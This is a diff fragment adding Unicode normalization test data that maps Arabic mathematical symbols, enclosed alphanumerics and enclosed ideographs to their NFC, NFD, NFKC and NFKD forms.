+{ source: [0x1EE1E], NFC: [0x1EE1E], NFD: [0x1EE1E], NFKC: [0x06A1], NFKD: [0x06A1] },
+{ source: [0x1EE1F], NFC: [0x1EE1F], NFD: [0x1EE1F], NFKC: [0x066F], NFKD: [0x066F] },
+{ source: [0x1EE21], NFC: [0x1EE21], NFD: [0x1EE21], NFKC: [0x0628], NFKD: [0x0628] },
+{ source: [0x1EE22], NFC: [0x1EE22], NFD: [0x1EE22], NFKC: [0x062C], NFKD: [0x062C] },
+{ source: [0x1EE24], NFC: [0x1EE24], NFD: [0x1EE24], NFKC: [0x0647], NFKD: [0x0647] },
+{ source: [0x1EE27], NFC: [0x1EE27], NFD: [0x1EE27], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0x1EE29], NFC: [0x1EE29], NFD: [0x1EE29], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0x1EE2A], NFC: [0x1EE2A], NFD: [0x1EE2A], NFKC: [0x0643], NFKD: [0x0643] },
+{ source: [0x1EE2B], NFC: [0x1EE2B], NFD: [0x1EE2B], NFKC: [0x0644], NFKD: [0x0644] },
+{ source: [0x1EE2C], NFC: [0x1EE2C], NFD: [0x1EE2C], NFKC: [0x0645], NFKD: [0x0645] },
+{ source: [0x1EE2D], NFC: [0x1EE2D], NFD: [0x1EE2D], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0x1EE2E], NFC: [0x1EE2E], NFD: [0x1EE2E], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0x1EE2F], NFC: [0x1EE2F], NFD: [0x1EE2F], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0x1EE30], NFC: [0x1EE30], NFD: [0x1EE30], NFKC: [0x0641], NFKD: [0x0641] },
+{ source: [0x1EE31], NFC: [0x1EE31], NFD: [0x1EE31], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0x1EE32], NFC: [0x1EE32], NFD: [0x1EE32], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0x1EE34], NFC: [0x1EE34], NFD: [0x1EE34], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0x1EE35], NFC: [0x1EE35], NFD: [0x1EE35], NFKC: [0x062A], NFKD: [0x062A] },
+{ source: [0x1EE36], NFC: [0x1EE36], NFD: [0x1EE36], NFKC: [0x062B], NFKD: [0x062B] },
+{ source: [0x1EE37], NFC: [0x1EE37], NFD: [0x1EE37], NFKC: [0x062E], NFKD: [0x062E] },
+{ source: [0x1EE39], NFC: [0x1EE39], NFD: [0x1EE39], NFKC: [0x0636], NFKD: [0x0636] },
+{ source: [0x1EE3B], NFC: [0x1EE3B], NFD: [0x1EE3B], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0x1EE42], NFC: [0x1EE42], NFD: [0x1EE42], NFKC: [0x062C], NFKD: [0x062C] },
+{ source: [0x1EE47], NFC: [0x1EE47], NFD: [0x1EE47], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0x1EE49], NFC: [0x1EE49], NFD: [0x1EE49], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0x1EE4B], NFC: [0x1EE4B], NFD: [0x1EE4B], NFKC: [0x0644], NFKD: [0x0644] },
+{ source: [0x1EE4D], NFC: [0x1EE4D], NFD: [0x1EE4D], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0x1EE4E], NFC: [0x1EE4E], NFD: [0x1EE4E], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0x1EE4F], NFC: [0x1EE4F], NFD: [0x1EE4F], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0x1EE51], NFC: [0x1EE51], NFD: [0x1EE51], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0x1EE52], NFC: [0x1EE52], NFD: [0x1EE52], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0x1EE54], NFC: [0x1EE54], NFD: [0x1EE54], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0x1EE57], NFC: [0x1EE57], NFD: [0x1EE57], NFKC: [0x062E], NFKD: [0x062E] },
+{ source: [0x1EE59], NFC: [0x1EE59], NFD: [0x1EE59], NFKC: [0x0636], NFKD: [0x0636] },
+{ source: [0x1EE5B], NFC: [0x1EE5B], NFD: [0x1EE5B], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0x1EE5D], NFC: [0x1EE5D], NFD: [0x1EE5D], NFKC: [0x06BA], NFKD: [0x06BA] },
+{ source: [0x1EE5F], NFC: [0x1EE5F], NFD: [0x1EE5F], NFKC: [0x066F], NFKD: [0x066F] },
+{ source: [0x1EE61], NFC: [0x1EE61], NFD: [0x1EE61], NFKC: [0x0628], NFKD: [0x0628] },
+{ source: [0x1EE62], NFC: [0x1EE62], NFD: [0x1EE62], NFKC: [0x062C], NFKD: [0x062C] },
+{ source: [0x1EE64], NFC: [0x1EE64], NFD: [0x1EE64], NFKC: [0x0647], NFKD: [0x0647] },
+{ source: [0x1EE67], NFC: [0x1EE67], NFD: [0x1EE67], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0x1EE68], NFC: [0x1EE68], NFD: [0x1EE68], NFKC: [0x0637], NFKD: [0x0637] },
+{ source: [0x1EE69], NFC: [0x1EE69], NFD: [0x1EE69], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0x1EE6A], NFC: [0x1EE6A], NFD: [0x1EE6A], NFKC: [0x0643], NFKD: [0x0643] },
+{ source: [0x1EE6C], NFC: [0x1EE6C], NFD: [0x1EE6C], NFKC: [0x0645], NFKD: [0x0645] },
+{ source: [0x1EE6D], NFC: [0x1EE6D], NFD: [0x1EE6D], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0x1EE6E], NFC: [0x1EE6E], NFD: [0x1EE6E], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0x1EE6F], NFC: [0x1EE6F], NFD: [0x1EE6F], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0x1EE70], NFC: [0x1EE70], NFD: [0x1EE70], NFKC: [0x0641], NFKD: [0x0641] },
+{ source: [0x1EE71], NFC: [0x1EE71], NFD: [0x1EE71], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0x1EE72], NFC: [0x1EE72], NFD: [0x1EE72], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0x1EE74], NFC: [0x1EE74], NFD: [0x1EE74], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0x1EE75], NFC: [0x1EE75], NFD: [0x1EE75], NFKC: [0x062A], NFKD: [0x062A] },
+{ source: [0x1EE76], NFC: [0x1EE76], NFD: [0x1EE76], NFKC: [0x062B], NFKD: [0x062B] },
+{ source: [0x1EE77], NFC: [0x1EE77], NFD: [0x1EE77], NFKC: [0x062E], NFKD: [0x062E] },
+{ source: [0x1EE79], NFC: [0x1EE79], NFD: [0x1EE79], NFKC: [0x0636], NFKD: [0x0636] },
+{ source: [0x1EE7A], NFC: [0x1EE7A], NFD: [0x1EE7A], NFKC: [0x0638], NFKD: [0x0638] },
+{ source: [0x1EE7B], NFC: [0x1EE7B], NFD: [0x1EE7B], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0x1EE7C], NFC: [0x1EE7C], NFD: [0x1EE7C], NFKC: [0x066E], NFKD: [0x066E] },
+{ source: [0x1EE7E], NFC: [0x1EE7E], NFD: [0x1EE7E], NFKC: [0x06A1], NFKD: [0x06A1] },
+{ source: [0x1EE80], NFC: [0x1EE80], NFD: [0x1EE80], NFKC: [0x0627], NFKD: [0x0627] },
+{ source: [0x1EE81], NFC: [0x1EE81], NFD: [0x1EE81], NFKC: [0x0628], NFKD: [0x0628] },
+{ source: [0x1EE82], NFC: [0x1EE82], NFD: [0x1EE82], NFKC: [0x062C], NFKD: [0x062C] },
+{ source: [0x1EE83], NFC: [0x1EE83], NFD: [0x1EE83], NFKC: [0x062F], NFKD: [0x062F] },
+{ source: [0x1EE84], NFC: [0x1EE84], NFD: [0x1EE84], NFKC: [0x0647], NFKD: [0x0647] },
+{ source: [0x1EE85], NFC: [0x1EE85], NFD: [0x1EE85], NFKC: [0x0648], NFKD: [0x0648] },
+{ source: [0x1EE86], NFC: [0x1EE86], NFD: [0x1EE86], NFKC: [0x0632], NFKD: [0x0632] },
+{ source: [0x1EE87], NFC: [0x1EE87], NFD: [0x1EE87], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0x1EE88], NFC: [0x1EE88], NFD: [0x1EE88], NFKC: [0x0637], NFKD: [0x0637] },
+{ source: [0x1EE89], NFC: [0x1EE89], NFD: [0x1EE89], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0x1EE8B], NFC: [0x1EE8B], NFD: [0x1EE8B], NFKC: [0x0644], NFKD: [0x0644] },
+{ source: [0x1EE8C], NFC: [0x1EE8C], NFD: [0x1EE8C], NFKC: [0x0645], NFKD: [0x0645] },
+{ source: [0x1EE8D], NFC: [0x1EE8D], NFD: [0x1EE8D], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0x1EE8E], NFC: [0x1EE8E], NFD: [0x1EE8E], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0x1EE8F], NFC: [0x1EE8F], NFD: [0x1EE8F], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0x1EE90], NFC: [0x1EE90], NFD: [0x1EE90], NFKC: [0x0641], NFKD: [0x0641] },
+{ source: [0x1EE91], NFC: [0x1EE91], NFD: [0x1EE91], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0x1EE92], NFC: [0x1EE92], NFD: [0x1EE92], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0x1EE93], NFC: [0x1EE93], NFD: [0x1EE93], NFKC: [0x0631], NFKD: [0x0631] },
+{ source: [0x1EE94], NFC: [0x1EE94], NFD: [0x1EE94], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0x1EE95], NFC: [0x1EE95], NFD: [0x1EE95], NFKC: [0x062A], NFKD: [0x062A] },
+{ source: [0x1EE96], NFC: [0x1EE96], NFD: [0x1EE96], NFKC: [0x062B], NFKD: [0x062B] },
+{ source: [0x1EE97], NFC: [0x1EE97], NFD: [0x1EE97], NFKC: [0x062E], NFKD: [0x062E] },
+{ source: [0x1EE98], NFC: [0x1EE98], NFD: [0x1EE98], NFKC: [0x0630], NFKD: [0x0630] },
+{ source: [0x1EE99], NFC: [0x1EE99], NFD: [0x1EE99], NFKC: [0x0636], NFKD: [0x0636] },
+{ source: [0x1EE9A], NFC: [0x1EE9A], NFD: [0x1EE9A], NFKC: [0x0638], NFKD: [0x0638] },
+{ source: [0x1EE9B], NFC: [0x1EE9B], NFD: [0x1EE9B], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0x1EEA1], NFC: [0x1EEA1], NFD: [0x1EEA1], NFKC: [0x0628], NFKD: [0x0628] },
+{ source: [0x1EEA2], NFC: [0x1EEA2], NFD: [0x1EEA2], NFKC: [0x062C], NFKD: [0x062C] },
+{ source: [0x1EEA3], NFC: [0x1EEA3], NFD: [0x1EEA3], NFKC: [0x062F], NFKD: [0x062F] },
+{ source: [0x1EEA5], NFC: [0x1EEA5], NFD: [0x1EEA5], NFKC: [0x0648], NFKD: [0x0648] },
+{ source: [0x1EEA6], NFC: [0x1EEA6], NFD: [0x1EEA6], NFKC: [0x0632], NFKD: [0x0632] },
+{ source: [0x1EEA7], NFC: [0x1EEA7], NFD: [0x1EEA7], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0x1EEA8], NFC: [0x1EEA8], NFD: [0x1EEA8], NFKC: [0x0637], NFKD: [0x0637] },
+{ source: [0x1EEA9], NFC: [0x1EEA9], NFD: [0x1EEA9], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0x1EEAB], NFC: [0x1EEAB], NFD: [0x1EEAB], NFKC: [0x0644], NFKD: [0x0644] },
+{ source: [0x1EEAC], NFC: [0x1EEAC], NFD: [0x1EEAC], NFKC: [0x0645], NFKD: [0x0645] },
+{ source: [0x1EEAD], NFC: [0x1EEAD], NFD: [0x1EEAD], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0x1EEAE], NFC: [0x1EEAE], NFD: [0x1EEAE], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0x1EEAF], NFC: [0x1EEAF], NFD: [0x1EEAF], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0x1EEB0], NFC: [0x1EEB0], NFD: [0x1EEB0], NFKC: [0x0641], NFKD: [0x0641] },
+{ source: [0x1EEB1], NFC: [0x1EEB1], NFD: [0x1EEB1], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0x1EEB2], NFC: [0x1EEB2], NFD: [0x1EEB2], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0x1EEB3], NFC: [0x1EEB3], NFD: [0x1EEB3], NFKC: [0x0631], NFKD: [0x0631] },
+{ source: [0x1EEB4], NFC: [0x1EEB4], NFD: [0x1EEB4], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0x1EEB5], NFC: [0x1EEB5], NFD: [0x1EEB5], NFKC: [0x062A], NFKD: [0x062A] },
+{ source: [0x1EEB6], NFC: [0x1EEB6], NFD: [0x1EEB6], NFKC: [0x062B], NFKD: [0x062B] },
+{ source: [0x1EEB7], NFC: [0x1EEB7], NFD: [0x1EEB7], NFKC: [0x062E], NFKD: [0x062E] },
+{ source: [0x1EEB8], NFC: [0x1EEB8], NFD: [0x1EEB8], NFKC: [0x0630], NFKD: [0x0630] },
+{ source: [0x1EEB9], NFC: [0x1EEB9], NFD: [0x1EEB9], NFKC: [0x0636], NFKD: [0x0636] },
+{ source: [0x1EEBA], NFC: [0x1EEBA], NFD: [0x1EEBA], NFKC: [0x0638], NFKD: [0x0638] },
+{ source: [0x1EEBB], NFC: [0x1EEBB], NFD: [0x1EEBB], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0x1F100], NFC: [0x1F100], NFD: [0x1F100], NFKC: [0x0030, 0x002E], NFKD: [0x0030, 0x002E] },
+{ source: [0x1F101], NFC: [0x1F101], NFD: [0x1F101], NFKC: [0x0030, 0x002C], NFKD: [0x0030, 0x002C] },
+{ source: [0x1F102], NFC: [0x1F102], NFD: [0x1F102], NFKC: [0x0031, 0x002C], NFKD: [0x0031, 0x002C] },
+{ source: [0x1F103], NFC: [0x1F103], NFD: [0x1F103], NFKC: [0x0032, 0x002C], NFKD: [0x0032, 0x002C] },
+{ source: [0x1F104], NFC: [0x1F104], NFD: [0x1F104], NFKC: [0x0033, 0x002C], NFKD: [0x0033, 0x002C] },
+{ source: [0x1F105], NFC: [0x1F105], NFD: [0x1F105], NFKC: [0x0034, 0x002C], NFKD: [0x0034, 0x002C] },
+{ source: [0x1F106], NFC: [0x1F106], NFD: [0x1F106], NFKC: [0x0035, 0x002C], NFKD: [0x0035, 0x002C] },
+{ source: [0x1F107], NFC: [0x1F107], NFD: [0x1F107], NFKC: [0x0036, 0x002C], NFKD: [0x0036, 0x002C] },
+{ source: [0x1F108], NFC: [0x1F108], NFD: [0x1F108], NFKC: [0x0037, 0x002C], NFKD: [0x0037, 0x002C] },
+{ source: [0x1F109], NFC: [0x1F109], NFD: [0x1F109], NFKC: [0x0038, 0x002C], NFKD: [0x0038, 0x002C] },
+{ source: [0x1F10A], NFC: [0x1F10A], NFD: [0x1F10A], NFKC: [0x0039, 0x002C], NFKD: [0x0039, 0x002C] },
+{ source: [0x1F110], NFC: [0x1F110], NFD: [0x1F110], NFKC: [0x0028, 0x0041, 0x0029], NFKD: [0x0028, 0x0041, 0x0029] },
+{ source: [0x1F111], NFC: [0x1F111], NFD: [0x1F111], NFKC: [0x0028, 0x0042, 0x0029], NFKD: [0x0028, 0x0042, 0x0029] },
+{ source: [0x1F112], NFC: [0x1F112], NFD: [0x1F112], NFKC: [0x0028, 0x0043, 0x0029], NFKD: [0x0028, 0x0043, 0x0029] },
+{ source: [0x1F113], NFC: [0x1F113], NFD: [0x1F113], NFKC: [0x0028, 0x0044, 0x0029], NFKD: [0x0028, 0x0044, 0x0029] },
+{ source: [0x1F114], NFC: [0x1F114], NFD: [0x1F114], NFKC: [0x0028, 0x0045, 0x0029], NFKD: [0x0028, 0x0045, 0x0029] },
+{ source: [0x1F115], NFC: [0x1F115], NFD: [0x1F115], NFKC: [0x0028, 0x0046, 0x0029], NFKD: [0x0028, 0x0046, 0x0029] },
+{ source: [0x1F116], NFC: [0x1F116], NFD: [0x1F116], NFKC: [0x0028, 0x0047, 0x0029], NFKD: [0x0028, 0x0047, 0x0029] },
+{ source: [0x1F117], NFC: [0x1F117], NFD: [0x1F117], NFKC: [0x0028, 0x0048, 0x0029], NFKD: [0x0028, 0x0048, 0x0029] },
+{ source: [0x1F118], NFC: [0x1F118], NFD: [0x1F118], NFKC: [0x0028, 0x0049, 0x0029], NFKD: [0x0028, 0x0049, 0x0029] },
+{ source: [0x1F119], NFC: [0x1F119], NFD: [0x1F119], NFKC: [0x0028, 0x004A, 0x0029], NFKD: [0x0028, 0x004A, 0x0029] },
+{ source: [0x1F11A], NFC: [0x1F11A], NFD: [0x1F11A], NFKC: [0x0028, 0x004B, 0x0029], NFKD: [0x0028, 0x004B, 0x0029] },
+{ source: [0x1F11B], NFC: [0x1F11B], NFD: [0x1F11B], NFKC: [0x0028, 0x004C, 0x0029], NFKD: [0x0028, 0x004C, 0x0029] },
+{ source: [0x1F11C], NFC: [0x1F11C], NFD: [0x1F11C], NFKC: [0x0028, 0x004D, 0x0029], NFKD: [0x0028, 0x004D, 0x0029] },
+{ source: [0x1F11D], NFC: [0x1F11D], NFD: [0x1F11D], NFKC: [0x0028, 0x004E, 0x0029], NFKD: [0x0028, 0x004E, 0x0029] },
+{ source: [0x1F11E], NFC: [0x1F11E], NFD: [0x1F11E], NFKC: [0x0028, 0x004F, 0x0029], NFKD: [0x0028, 0x004F, 0x0029] },
+{ source: [0x1F11F], NFC: [0x1F11F], NFD: [0x1F11F], NFKC: [0x0028, 0x0050, 0x0029], NFKD: [0x0028, 0x0050, 0x0029] },
+{ source: [0x1F120], NFC: [0x1F120], NFD: [0x1F120], NFKC: [0x0028, 0x0051, 0x0029], NFKD: [0x0028, 0x0051, 0x0029] },
+{ source: [0x1F121], NFC: [0x1F121], NFD: [0x1F121], NFKC: [0x0028, 0x0052, 0x0029], NFKD: [0x0028, 0x0052, 0x0029] },
+{ source: [0x1F122], NFC: [0x1F122], NFD: [0x1F122], NFKC: [0x0028, 0x0053, 0x0029], NFKD: [0x0028, 0x0053, 0x0029] },
+{ source: [0x1F123], NFC: [0x1F123], NFD: [0x1F123], NFKC: [0x0028, 0x0054, 0x0029], NFKD: [0x0028, 0x0054, 0x0029] },
+{ source: [0x1F124], NFC: [0x1F124], NFD: [0x1F124], NFKC: [0x0028, 0x0055, 0x0029], NFKD: [0x0028, 0x0055, 0x0029] },
+{ source: [0x1F125], NFC: [0x1F125], NFD: [0x1F125], NFKC: [0x0028, 0x0056, 0x0029], NFKD: [0x0028, 0x0056, 0x0029] },
+{ source: [0x1F126], NFC: [0x1F126], NFD: [0x1F126], NFKC: [0x0028, 0x0057, 0x0029], NFKD: [0x0028, 0x0057, 0x0029] },
+{ source: [0x1F127], NFC: [0x1F127], NFD: [0x1F127], NFKC: [0x0028, 0x0058, 0x0029], NFKD: [0x0028, 0x0058, 0x0029] },
+{ source: [0x1F128], NFC: [0x1F128], NFD: [0x1F128], NFKC: [0x0028, 0x0059, 0x0029], NFKD: [0x0028, 0x0059, 0x0029] },
+{ source: [0x1F129], NFC: [0x1F129], NFD: [0x1F129], NFKC: [0x0028, 0x005A, 0x0029], NFKD: [0x0028, 0x005A, 0x0029] },
+{ source: [0x1F12A], NFC: [0x1F12A], NFD: [0x1F12A], NFKC: [0x3014, 0x0053, 0x3015], NFKD: [0x3014, 0x0053, 0x3015] },
+{ source: [0x1F12B], NFC: [0x1F12B], NFD: [0x1F12B], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1F12C], NFC: [0x1F12C], NFD: [0x1F12C], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1F12D], NFC: [0x1F12D], NFD: [0x1F12D], NFKC: [0x0043, 0x0044], NFKD: [0x0043, 0x0044] },
+{ source: [0x1F12E], NFC: [0x1F12E], NFD: [0x1F12E], NFKC: [0x0057, 0x005A], NFKD: [0x0057, 0x005A] },
+{ source: [0x1F130], NFC: [0x1F130], NFD: [0x1F130], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1F131], NFC: [0x1F131], NFD: [0x1F131], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1F132], NFC: [0x1F132], NFD: [0x1F132], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1F133], NFC: [0x1F133], NFD: [0x1F133], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1F134], NFC: [0x1F134], NFD: [0x1F134], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1F135], NFC: [0x1F135], NFD: [0x1F135], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1F136], NFC: [0x1F136], NFD: [0x1F136], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1F137], NFC: [0x1F137], NFD: [0x1F137], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1F138], NFC: [0x1F138], NFD: [0x1F138], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1F139], NFC: [0x1F139], NFD: [0x1F139], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1F13A], NFC: [0x1F13A], NFD: [0x1F13A], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1F13B], NFC: [0x1F13B], NFD: [0x1F13B], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1F13C], NFC: [0x1F13C], NFD: [0x1F13C], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1F13D], NFC: [0x1F13D], NFD: [0x1F13D], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1F13E], NFC: [0x1F13E], NFD: [0x1F13E], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1F13F], NFC: [0x1F13F], NFD: [0x1F13F], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1F140], NFC: [0x1F140], NFD: [0x1F140], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1F141], NFC: [0x1F141], NFD: [0x1F141], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1F142], NFC: [0x1F142], NFD: [0x1F142], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1F143], NFC: [0x1F143], NFD: [0x1F143], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1F144], NFC: [0x1F144], NFD: [0x1F144], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1F145], NFC: [0x1F145], NFD: [0x1F145], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1F146], NFC: [0x1F146], NFD: [0x1F146], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1F147], NFC: [0x1F147], NFD: [0x1F147], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1F148], NFC: [0x1F148], NFD: [0x1F148], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1F149], NFC: [0x1F149], NFD: [0x1F149], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1F14A], NFC: [0x1F14A], NFD: [0x1F14A], NFKC: [0x0048, 0x0056], NFKD: [0x0048, 0x0056] },
+{ source: [0x1F14B], NFC: [0x1F14B], NFD: [0x1F14B], NFKC: [0x004D, 0x0056], NFKD: [0x004D, 0x0056] },
+{ source: [0x1F14C], NFC: [0x1F14C], NFD: [0x1F14C], NFKC: [0x0053, 0x0044], NFKD: [0x0053, 0x0044] },
+{ source: [0x1F14D], NFC: [0x1F14D], NFD: [0x1F14D], NFKC: [0x0053, 0x0053], NFKD: [0x0053, 0x0053] },
+{ source: [0x1F14E], NFC: [0x1F14E], NFD: [0x1F14E], NFKC: [0x0050, 0x0050, 0x0056], NFKD: [0x0050, 0x0050, 0x0056] },
+{ source: [0x1F14F], NFC: [0x1F14F], NFD: [0x1F14F], NFKC: [0x0057, 0x0043], NFKD: [0x0057, 0x0043] },
+{ source: [0x1F16A], NFC: [0x1F16A], NFD: [0x1F16A], NFKC: [0x004D, 0x0043], NFKD: [0x004D, 0x0043] },
+{ source: [0x1F16B], NFC: [0x1F16B], NFD: [0x1F16B], NFKC: [0x004D, 0x0044], NFKD: [0x004D, 0x0044] },
+{ source: [0x1F16C], NFC: [0x1F16C], NFD: [0x1F16C], NFKC: [0x004D, 0x0052], NFKD: [0x004D, 0x0052] },
+{ source: [0x1F190], NFC: [0x1F190], NFD: [0x1F190], NFKC: [0x0044, 0x004A], NFKD: [0x0044, 0x004A] },
+{ source: [0x1F200], NFC: [0x1F200], NFD: [0x1F200], NFKC: [0x307B, 0x304B], NFKD: [0x307B, 0x304B] },
+{ source: [0x1F201], NFC: [0x1F201], NFD: [0x1F201], NFKC: [0x30B3, 0x30B3], NFKD: [0x30B3, 0x30B3] },
+{ source: [0x1F202], NFC: [0x1F202], NFD: [0x1F202], NFKC: [0x30B5], NFKD: [0x30B5] },
+{ source: [0x1F210], NFC: [0x1F210], NFD: [0x1F210], NFKC: [0x624B], NFKD: [0x624B] },
+{ source: [0x1F211], NFC: [0x1F211], NFD: [0x1F211], NFKC: [0x5B57], NFKD: [0x5B57] },
+{ source: [0x1F212], NFC: [0x1F212], NFD: [0x1F212], NFKC: [0x53CC], NFKD: [0x53CC] },
+{ source: [0x1F213], NFC: [0x1F213], NFD: [0x1F213], NFKC: [0x30C7], NFKD: [0x30C6, 0x3099] },
+{ source: [0x1F214], NFC: [0x1F214], NFD: [0x1F214], NFKC: [0x4E8C], NFKD: [0x4E8C] },
+{ source: [0x1F215], NFC: [0x1F215], NFD: [0x1F215], NFKC: [0x591A], NFKD: [0x591A] },
+{ source: [0x1F216], NFC: [0x1F216], NFD: [0x1F216], NFKC: [0x89E3], NFKD: [0x89E3] },
+{ source: [0x1F217], NFC: [0x1F217], NFD: [0x1F217], NFKC: [0x5929], NFKD: [0x5929] },
+{ source: [0x1F218], NFC: [0x1F218], NFD: [0x1F218], NFKC: [0x4EA4], NFKD: [0x4EA4] },
+{ source: [0x1F219], NFC: [0x1F219], NFD: [0x1F219], NFKC: [0x6620], NFKD: [0x6620] },
+{ source: [0x1F21A], NFC: [0x1F21A], NFD: [0x1F21A], NFKC: [0x7121], NFKD: [0x7121] },
+{ source: [0x1F21B], NFC: [0x1F21B], NFD: [0x1F21B], NFKC: [0x6599], NFKD: [0x6599] },
+{ source: [0x1F21C], NFC: [0x1F21C], NFD: [0x1F21C], NFKC: [0x524D], NFKD: [0x524D] },
+{ source: [0x1F21D], NFC: [0x1F21D], NFD: [0x1F21D], NFKC: [0x5F8C], NFKD: [0x5F8C] },
+{ source: [0x1F21E], NFC: [0x1F21E], NFD: [0x1F21E], NFKC: [0x518D], NFKD: [0x518D] },
+{ source: [0x1F21F], NFC: [0x1F21F], NFD: [0x1F21F], NFKC: [0x65B0], NFKD: [0x65B0] },
+{ source: [0x1F220], NFC: [0x1F220], NFD: [0x1F220], NFKC: [0x521D], NFKD: [0x521D] },
+{ source: [0x1F221], NFC: [0x1F221], NFD: [0x1F221], NFKC: [0x7D42], NFKD: [0x7D42] },
+{ source: [0x1F222], NFC: [0x1F222], NFD: [0x1F222], NFKC: [0x751F], NFKD: [0x751F] },
+{ source: [0x1F223], NFC: [0x1F223], NFD: [0x1F223], NFKC: [0x8CA9], NFKD: [0x8CA9] },
+{ source: [0x1F224], NFC: [0x1F224], NFD: [0x1F224], NFKC: [0x58F0], NFKD: [0x58F0] },
+{ source: [0x1F225], NFC: [0x1F225], NFD: [0x1F225], NFKC: [0x5439], NFKD: [0x5439] },
+{ source: [0x1F226], NFC: [0x1F226], NFD: [0x1F226], NFKC: [0x6F14], NFKD: [0x6F14] },
+{ source: [0x1F227], NFC: [0x1F227], NFD: [0x1F227], NFKC: [0x6295], NFKD: [0x6295] },
+{ source: [0x1F228], NFC: [0x1F228], NFD: [0x1F228], NFKC: [0x6355], NFKD: [0x6355] },
+{ source: [0x1F229], NFC: [0x1F229], NFD: [0x1F229], NFKC: [0x4E00], NFKD: [0x4E00] },
+{ source: [0x1F22A], NFC: [0x1F22A], NFD: [0x1F22A], NFKC: [0x4E09], NFKD: [0x4E09] },
+{ source: [0x1F22B], NFC: [0x1F22B], NFD: [0x1F22B], NFKC: [0x904A], NFKD: [0x904A] },
+{ source: [0x1F22C], NFC: [0x1F22C], NFD: [0x1F22C], NFKC: [0x5DE6], NFKD: [0x5DE6] },
+{ source: [0x1F22D], NFC: [0x1F22D], NFD: [0x1F22D], NFKC: [0x4E2D], NFKD: [0x4E2D] },
+{ source: [0x1F22E], NFC: [0x1F22E], NFD: [0x1F22E], NFKC: [0x53F3], NFKD: [0x53F3] },
+{ source: [0x1F22F], NFC: [0x1F22F], NFD: [0x1F22F], NFKC: [0x6307], NFKD: [0x6307] },
+{ source: [0x1F230], NFC: [0x1F230], NFD: [0x1F230], NFKC: [0x8D70], NFKD: [0x8D70] },
+{ source: [0x1F231], NFC: [0x1F231], NFD: [0x1F231], NFKC: [0x6253], NFKD: [0x6253] },
+{ source: [0x1F232], NFC: [0x1F232], NFD: [0x1F232], NFKC: [0x7981], NFKD: [0x7981] },
+{ source: [0x1F233], NFC: [0x1F233], NFD: [0x1F233], NFKC: [0x7A7A], NFKD: [0x7A7A] },
+{ source: [0x1F234], NFC: [0x1F234], NFD: [0x1F234], NFKC: [0x5408], NFKD: [0x5408] },
